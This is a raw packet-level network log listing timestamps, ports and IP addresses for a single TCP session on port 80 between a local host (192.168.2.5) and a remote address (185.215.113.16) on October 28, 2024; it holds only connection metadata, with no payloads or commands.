Oct 28, 2024 08:18:19.362952948 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.362963915 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.362970114 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.362986088 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.362988949 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363008022 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363073111 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363079071 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363090992 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363095999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363107920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363112926 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363114119 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363126040 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363137960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363142967 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363148928 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363159895 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363159895 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363173008 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363181114 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363185883 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363197088 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363202095 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363209009 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363219023 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363224983 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363226891 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363231897 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363255978 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363297939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363303900 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363321066 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363327980 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363334894 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363341093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363341093 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363346100 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363353014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363359928 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363375902 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363410950 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363435984 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363441944 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363451958 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363456964 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363464117 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363470078 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363480091 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363487005 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363488913 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363492012 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363497972 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363512039 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363513947 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363518000 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363523960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363529921 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363534927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363537073 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363540888 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363554001 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363554955 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363563061 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363574028 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363579988 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363588095 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363596916 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363609076 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363615036 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363621950 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363625050 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363648891 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363814116 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363826036 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363831997 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363837957 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363843918 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363857031 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363862991 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363869905 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363873005 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363876104 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363881111 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363883018 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363888025 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363908052 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363914013 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363919020 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363919973 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363924980 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363930941 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363936901 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.363939047 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.363982916 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364063978 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364069939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364082098 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364088058 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364094019 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364106894 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364109039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364113092 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364119053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364126921 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364130020 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364135027 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364147902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364149094 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364155054 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364166021 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364168882 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364183903 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364192009 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364201069 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364211082 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364217043 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364234924 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364236116 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364239931 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364252090 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364257097 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364262104 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364270926 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364280939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364284992 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364289045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364295959 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364306927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364310026 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364314079 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364322901 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364339113 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364393950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364401102 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364413023 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364418030 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364429951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364434004 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364435911 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364443064 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364463091 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364483118 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364531040 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364613056 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364624977 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364630938 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364638090 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364644051 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364646912 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364650011 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364670992 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364727020 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364732981 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364743948 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364749908 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364762068 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364767075 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364770889 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364773035 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364784956 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364790916 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:19.364799976 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:19.364823103 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.029191017 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.034637928 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034729004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034744024 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034756899 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034769058 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034769058 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.034781933 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034795046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034800053 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.034833908 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.034878016 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034889936 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034900904 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034913063 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034914970 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.034934044 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034940004 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.034946918 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034957886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034967899 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034980059 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.034981966 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.034991026 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035002947 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035010099 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035016060 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035027027 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035028934 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035041094 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035043001 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035051107 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035073042 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035073996 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035093069 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035110950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035115004 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035121918 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035132885 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035145044 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035145044 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035157919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035167933 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035170078 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035181999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035182953 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035193920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035204887 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035212994 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035218000 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035243034 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035262108 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035269022 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035280943 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035291910 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035304070 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035322905 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035324097 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035336018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035346985 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035346985 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035357952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035370111 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035386086 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035391092 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035403013 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035413027 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035413980 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035423994 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035429001 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035443068 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035455942 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035456896 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035466909 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035480022 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035482883 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035490990 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035501957 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035511971 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035514116 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035526037 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035537958 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035542965 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035548925 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035556078 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035561085 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035576105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035578966 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035587072 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035598993 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035608053 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035609961 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035623074 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035634041 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035635948 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035645008 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035650015 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035657883 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035681963 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035706997 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035726070 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035737991 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035748005 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035759926 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035773039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035778999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035789013 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035799980 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035808086 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035811901 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035824060 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035826921 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035835028 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035845995 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035855055 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035856962 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035868883 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035876989 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035881042 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035892963 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035900116 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035902977 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035913944 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035921097 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035933018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035943985 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035945892 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035955906 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035968065 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035974026 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.035979986 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035990953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.035990953 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036001921 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036027908 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036052942 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036078930 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036097050 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036108971 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036119938 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036130905 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036139965 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036142111 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036154032 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036164045 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036165953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036176920 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036176920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036189079 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036200047 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036206007 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036211014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036226034 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036231995 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036237955 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036245108 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036248922 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036264896 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036273003 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036277056 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036288977 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036299944 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036300898 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036314964 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036335945 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036351919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036360025 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036423922 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036436081 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036447048 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036458969 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036469936 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036469936 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036498070 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036510944 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036561966 CET	80	49764	185.215.113.16	192.168.2.5
